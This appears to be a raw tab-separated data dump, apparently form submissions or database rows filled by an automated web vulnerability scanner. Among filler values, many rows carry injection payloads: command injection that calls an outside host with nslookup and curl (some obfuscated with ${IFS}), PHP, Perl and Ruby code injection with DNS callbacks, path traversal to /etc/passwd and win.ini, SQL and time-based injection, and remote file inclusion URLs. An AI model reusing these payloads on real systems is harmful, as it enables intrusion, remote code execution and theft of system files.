1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	';print(md5(31337));$a='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../windows/win.ini	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../etc/passwd	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'.print(md5(31337)).'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${@print(md5(31337))}\	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitygcdomocub808f0.bxss.me||curl${IFS}hitygcdomocub808f0.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitygcdomocub808f0.bxss.me||curl${IFS}hitygcdomocub808f0.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	gethostbyname(lc('hitod'.'dzcjjntx363c3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(70).chr(112).chr(67)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	/etc/shells	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"&echo nymhem$()\ fomfvg\nz^xyu||a #' &echo nymhem$()\ fomfvg\nz^xyu||a #|"" &echo nymhem$()\ fomfvg\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	c:/windows/win.ini	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"|echo ahxnwp$()\ qaikol\nz^xyu||a #' |echo ahxnwp$()\ qaikol\nz^xyu||a #|"" |echo ahxnwp$()\ qaikol\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	gethostbyname(lc('hitfu'.'mabcjgwgea1aa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(81).chr(103).chr(68)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	'.gethostbyname(lc('hitie'.'jzjtlablc8fbc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(83).chr(108).chr(85).'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	';print(md5(31337));$a='	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	""".gethostbyname(lc(""hitdq"".""zqzbfqta1c96a.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(120).chr(78).chr(104).chr(89)."""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	gethostbyname(lc('hitua'.'xzuyccig2e351.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(89).chr(100).chr(80)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}\	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891 from DUAL)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'.gethostbyname(lc('hitkp'.'mbmeudrl590fd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(81).chr(120).chr(89).'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	';print(md5(31337));$a='	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""".gethostbyname(lc(""hitvo"".""zuqunczd3d537.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(108).chr(69).chr(102).chr(65)."""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""";print(md5(31337));$a="""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${@print(md5(31337))}	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"echo mrvcnt$()\ eyhahw\nz^xyu||a #' &echo mrvcnt$()\ eyhahw\nz^xyu||a #|"" &echo mrvcnt$()\ eyhahw\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'.print(md5(31337)).'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&echo ozvgnw$()\ ifzvby\nz^xyu||a #' &echo ozvgnw$()\ ifzvby\nz^xyu||a #|"" &echo ozvgnw$()\ ifzvby\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"|echo qfzfyp$()\ onyqae\nz^xyu||a #' |echo qfzfyp$()\ onyqae\nz^xyu||a #|"" |echo qfzfyp$()\ onyqae\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(nslookup -q=cname hitfomvuewoova75e2.bxss.me||curl hitfomvuewoova75e2.bxss.me))	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	$(nslookup -q=cname hitsehvptrisab247e.bxss.me||curl hitsehvptrisab247e.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	'.gethostbyname(lc('hitza'.'bwfbrbsd16ab1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(77).chr(102).chr(70).'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	|(nslookup -q=cname hitcwrumswskuf5b9c.bxss.me||curl hitcwrumswskuf5b9c.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	""".gethostbyname(lc(""hitwj"".""wmheqiyrf55b5.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(108).chr(83).chr(121).chr(88)."""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&(nslookup -q=cname hituhkgmztlznd8bed.bxss.me||curl hituhkgmztlznd8bed.bxss.me)&'\""`0&(nslookup -q=cname hituhkgmztlznd8bed.bxss.me||curl hituhkgmztlznd8bed.bxss.me)&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	`(nslookup -q=cname hitutgptudcox8ed16.bxss.me||curl hitutgptudcox8ed16.bxss.me)`	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""";print(md5(31337));$a="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	${@print(md5(31337))}	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	$(nslookup -q=cname hitkjhehiensob4c63.bxss.me||curl hitkjhehiensob4c63.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	http://bxss.me/t/fit.txt%3F.jpg	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&(nslookup -q=cname hitktojbyjtvr55244.bxss.me||curl hitktojbyjtvr55244.bxss.me)&'\""`0&(nslookup -q=cname hitktojbyjtvr55244.bxss.me||curl hitktojbyjtvr55244.bxss.me)&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	|(nslookup -q=cname hitpoowtvdrom07d89.bxss.me||curl hitpoowtvdrom07d89.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	c:/windows/win.ini	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	bxss.me	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	;(nslookup -q=cname hitbbhzkjtgokb92fc.bxss.me||curl hitbbhzkjtgokb92fc.bxss.me)|(nslookup -q=cname hitbbhzkjtgokb92fc.bxss.me||curl hitbbhzkjtgokb92fc.bxss.me)&(nslookup -q=cname hitbbhzkjtgokb92fc.bxss.me||curl hitbbhzkjtgokb92fc.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	|(nslookup${IFS}-q${IFS}cname${IFS}hitzlvhfdpflmcfba6.bxss.me||curl${IFS}hitzlvhfdpflmcfba6.bxss.me)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"&(nslookup${IFS}-q${IFS}cname${IFS}hitdqlfzqyqqzb4f64.bxss.me||curl${IFS}hitdqlfzqyqqzb4f64.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdqlfzqyqqzb4f64.bxss.me||curl${IFS}hitdqlfzqyqqzb4f64.bxss.me)&`'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	|(nslookup -q=cname hitlcajgzdaod124a4.bxss.me||curl hitlcajgzdaod124a4.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	';print(md5(31337));$a='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${@print(md5(31337))}	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	'.print(md5(31337)).'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'A'.concat(70-3).concat(22*4).concat(116).concat(84).concat(119).concat(67)+(require'socket'
Socket.gethostbyname('hitmf'+'maiayrks40723.bxss.me.')[3].to_s)"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../../../../../../../../../../../../../../etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	!(()&&!|*|*|	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	c:/windows/win.ini	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	^(#$!@#$)(()))******	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	bxss.me	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	!(()&&!|*|*|	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	http://bxss.me/t/fit.txt%3F.jpg	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	^(#$!@#$)(()))******	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"""+""A"".concat(70-3).concat(22*4).concat(121).concat(84).concat(107).concat(77)+(require""socket""
Socket.gethostbyname(""hitoo""+""ajsuuwro195f9.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"""+""A"".concat(70-3).concat(22*4).concat(118).concat(67).concat(117).concat(71)+(require""socket""
Socket.gethostbyname(""hitwb""+""tjkztvkxe0b94.bxss.me."")[3].to_s)+"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"'""()"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../../../../../../../../../../../../../../etc/shells	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'+'A'.concat(70-3).concat(22*4).concat(102).concat(65).concat(106).concat(72)+(require'socket'
Socket.gethostbyname('hithe'+'wsjsawzif40e2.bxss.me.')[3].to_s)+'"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'&&sleep(27*1000)*bucvzg&&'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	c:/windows/win.ini	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'A'.concat(70-3).concat(22*4).concat(122).concat(90).concat(111).concat(82)+(require'socket'
Socket.gethostbyname('hitrd'+'ugqmqusxb74df.bxss.me.')[3].to_s)"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	bxss.me	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1'||sleep(27*1000)*jncufc||'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'&&sleep(27*1000)*dtciut&&'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1""||sleep(27*1000)*dhsvyp||"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(107).concat(72).concat(103).concat(71)+(require'socket'
Socket.gethostbyname('hitcc'+'uyldyszy0953b.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(110).concat(83).concat(118).concat(69)+(require'socket'
Socket.gethostbyname('hitsn'+'nfufnhpo723f0.bxss.me.')[3].to_s)"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	/etc/shells	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/shells	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	c:/windows/win.ini	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	';print(md5(31337));$a='	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	MXo5Wnh0OG4=	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${@print(md5(31337))}	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'.print(md5(31337)).'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ew3X7EME	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=25 -- "	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	^(#$!@#$)(()))******	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	!(()&&!|*|*|	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	^(#$!@#$)(()))******	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(100).concat(65).concat(117).concat(76)+(require""socket""
Socket.gethostbyname(""hittw""+""dybqhgudba228.bxss.me."")[3].to_s)+"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'+'A'.concat(70-3).concat(22*4).concat(99).concat(88).concat(102).concat(90)+(require'socket'
Socket.gethostbyname('hittt'+'knnlslrqed474.bxss.me.')[3].to_s)+'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'A'.concat(70-3).concat(22*4).concat(121).concat(67).concat(97).concat(78)+(require'socket'
Socket.gethostbyname('hityw'+'juoewuze09b7a.bxss.me.')[3].to_s)"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"""+""A"".concat(70-3).concat(22*4).concat(114).concat(67).concat(97).concat(65)+(require""socket""
Socket.gethostbyname(""hityr""+""zqungfxr5b769.bxss.me."")[3].to_s)+"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'+'A'.concat(70-3).concat(22*4).concat(109).concat(81).concat(117).concat(75)+(require'socket'
Socket.gethostbyname('hituv'+'cadcxfwe1990b.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'+'A'.concat(70-3).concat(22*4).concat(98).concat(68).concat(104).concat(81)+(require'socket'
Socket.gethostbyname('hitcq'+'qoomvfwb2e1f3.bxss.me.')[3].to_s)+'"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	/etc/shells	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	!(()&&!|*|*|	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	`(nslookup -q=cname hityensgegljb38d62.bxss.me||curl hityensgegljb38d62.bxss.me)`	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1""||sleep(27*1000)*rpwysh||"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU""||sleep(27*1000)*cwvqmk||"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"'""()"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"'+'A'.concat(70-3).concat(22*4).concat(97).concat(67).concat(107).concat(66)+(require'socket'
Socket.gethostbyname('hitig'+'hjqcbdgbff3c7.bxss.me.')[3].to_s)+'"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	bxss.me/t/xss.html?%00	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'+'A'.concat(70-3).concat(22*4).concat(103).concat(73).concat(122).concat(77)+(require'socket'
Socket.gethostbyname('hitbq'+'mggzajom76519.bxss.me.')[3].to_s)+'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	^(#$!@#$)(()))******	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	/etc/shells	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1""||sleep(27*1000)*gkcrqm||"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
